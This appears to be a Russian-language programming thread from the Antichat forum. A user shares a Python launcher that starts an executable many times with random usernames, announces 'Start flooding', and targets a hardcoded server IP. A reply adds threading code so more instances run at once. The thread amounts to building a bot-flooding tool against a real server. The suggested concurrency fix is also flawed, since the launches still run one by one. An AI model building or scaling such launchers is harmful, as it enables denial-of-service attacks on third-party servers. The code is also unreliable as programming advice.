ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Общие вопросы программирования (https://forum.antichat.xyz/forumdisplay.php?f=206)
-   -   рандом и запуск программ (https://forum.antichat.xyz/showthread.php?t=1464587)

xanndiane 12.01.2023 19:31

Есть некий говнокод чтобы запускать ехе файлик с рандомным аргументом, но вот такая проблема что ос.систем не умеет больше 2 аргументов в виде

Python:





Код:

os
.
system
(
'start 123.exe -username '
,
generate_alphanum_crypt_string
(
)
)



Что с этим делать не знаю. Кто шарит помогите пж

Сам код ниже

Цитата:

Сообщение от Спойлер


Python:





Код:

from
pystyle
import
Add
,
Write
,
Colors
import
time
import
os
import
random
import
secrets
import
string
def
generate_alphanum_crypt_string
(
)
:
letters_and_digits
=
string
.
ascii_letters
+
string
.
digits
    crypt_rand_string
=
''
.
join
(
secrets
.
choice
(
letters_and_digits
)
for
i
in
range
(
3
)
)
print
(
crypt_rand_string
)
name
=
Write
.
Input
(
"Enter your username -> "
,
Colors
.
red_to_purple
,
interval
=
0.0025
)
Write
.
Print
(
f"Nice to meet you,{name}!"
,
Colors
.
blue_to_green
,
interval
=
0.05
)
print
(
' '
)
print
(
' '
)
Write
.
Print
(
f"Start flooding through 2 seconds"
,
Colors
.
red_to_purple
,
interval
=
0.05
)
print
(
' '
)
time
.
sleep
(
2
)
Write
.
Print
(
f"Start flooding :D"
,
Colors
.
red_to_purple
,
interval
=
0.05
)
print
(
' '
)
os
.
system
(
'start 123.exe -user '
,
generate_alphanum_crypt_string
(
)
)





Trawer2289 12.01.2023 20:30

Цитата:

Сообщение от Ofreega

Есть некий говнокод чтобы запускать ехе файлик с рандомным аргументом, но вот такая проблема что ос.систем не умеет больше 2 аргументов в виде

Python:





Код:

os
.
system
(
'start 123.exe -username '
,
generate_alphanum_crypt_string
(
)
)



Что с этим делать не знаю. Кто шарит помогите пж
Сам код ниже
Цитата:

Сообщение от Спойлер


Python:





Код:

from
pystyle
import
Add
,
Write
,
Colors
import
time
import
os
import
random
import
secrets
import
string
def
generate_alphanum_crypt_string
(
)
:
letters_and_digits
=
string
.
ascii_letters
+
string
.
digits
    crypt_rand_string
=
''
.
join
(
secrets
.
choice
(
letters_and_digits
)
for
i
in
range
(
3
)
)
print
(
crypt_rand_string
)
name
=
Write
.
Input
(
"Enter your username -> "
,
Colors
.
red_to_purple
,
interval
=
0.0025
)
Write
.
Print
(
f"Nice to meet you,{name}!"
,
Colors
.
blue_to_green
,
interval
=
0.05
)
print
(
' '
)
print
(
' '
)
Write
.
Print
(
f"Start flooding through 2 seconds"
,
Colors
.
red_to_purple
,
interval
=
0.05
)
print
(
' '
)
time
.
sleep
(
2
)
Write
.
Print
(
f"Start flooding :D"
,
Colors
.
red_to_purple
,
interval
=
0.05
)
print
(
' '
)
os
.
system
(
'start 123.exe -user '
,
generate_alphanum_crypt_string
(
)
)





Python:





Код:

import
subprocess

subprocess
.
run
(
[
"123.exe"
,
"-username"
,
generate_alphanum_crypt_string
(
)
]
)


xanndiane 12.01.2023 22:27

Цитата:

Сообщение от Trawer2289

Python:





Код:

import
subprocess

subprocess
.
run
(
[
"123.exe"
,
"-username"
,
generate_alphanum_crypt_string
(
)
]
)



Спасибо. Сейчас протестирую, в случае если ворк то поставлю лайкич)

Вроде-бы все работает но появился вопрос. Как сделать чтобы запускалось сразу несколько процессов, а не процесс номер 2 ждал пока завершиться процесс 1?

Ес че код

Python:





Код:

import
subprocess
import
random

phoenix
=
'185.169.134.3'
chars
=
'abcdefghijklnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
number
=
input
(
'количество?'
+
"\n"
)
length
=
input
(
'длина?'
+
"\n"
)
number
=
int
(
number
)
length
=
int
(
length
)
for
n
in
range
(
number
)
:
password
=
''
for
i
in
range
(
length
)
:
password
+=
random
.
choice
(
chars
)
subprocess
.
run
(
[
"123.exe"
,
"-h"
,
phoenix
,
"-n"
,
password
]
)





Ну типо



Проблема не в самой программе. С ней все Ок

Trawer2289 12.01.2023 23:06

Цитата:

Сообщение от Ofreega

Спасибо. Сейчас протестирую, в случае если ворк то поставлю лайкич)

Вроде-бы все работает но появился вопрос. Как сделать чтобы запускалось сразу несколько процессов, а не процесс номер 2 ждал пока завершиться процесс 1?

Ес че код

Python:





Код:

import
subprocess
import
random

phoenix
=
'185.169.134.3'
chars
=
'abcdefghijklnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
number
=
input
(
'количество?'
+
"\n"
)
length
=
input
(
'длина?'
+
"\n"
)
number
=
int
(
number
)
length
=
int
(
length
)
for
n
in
range
(
number
)
:
password
=
''
for
i
in
range
(
length
)
:
password
+=
random
.
choice
(
chars
)
subprocess
.
run
(
[
"123.exe"
,
"-h"
,
phoenix
,
"-n"
,
password
]
)




Ну типо


Проблема не в самой программе. С ней все Ок

Python:





Код:

import
subprocess
import
random
import
concurrent
.
futures

phoenix
=
'185.169.134.3'
chars
=
'abcdefghijklnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
number
=
input
(
'количество?'
+
"\n"
)
length
=
input
(
'длина?'
+
"\n"
)
number
=
int
(
number
)
length
=
int
(
length
)
def
generate_password
(
length
)
:
password
=
''
for
i
in
range
(
length
)
:
password
+=
random
.
choice
(
chars
)
return
password
def
run_subprocess
(
password
)
:
subprocess
.
run
(
[
"123.exe"
,
"-h"
,
phoenix
,
"-n"
,
password
]
)
with
concurrent
.
futures
.
ThreadPoolExecutor
(
)
as
executor
:
results
=
[
executor
.
submit
(
generate_password
,
length
)
for
_
in
range
(
number
)
]
for
f
in
concurrent
.
futures
.
as_completed
(
results
)
:
password
=
f
.
result
(
)
run_subprocess
(
password
)



Время: 13:59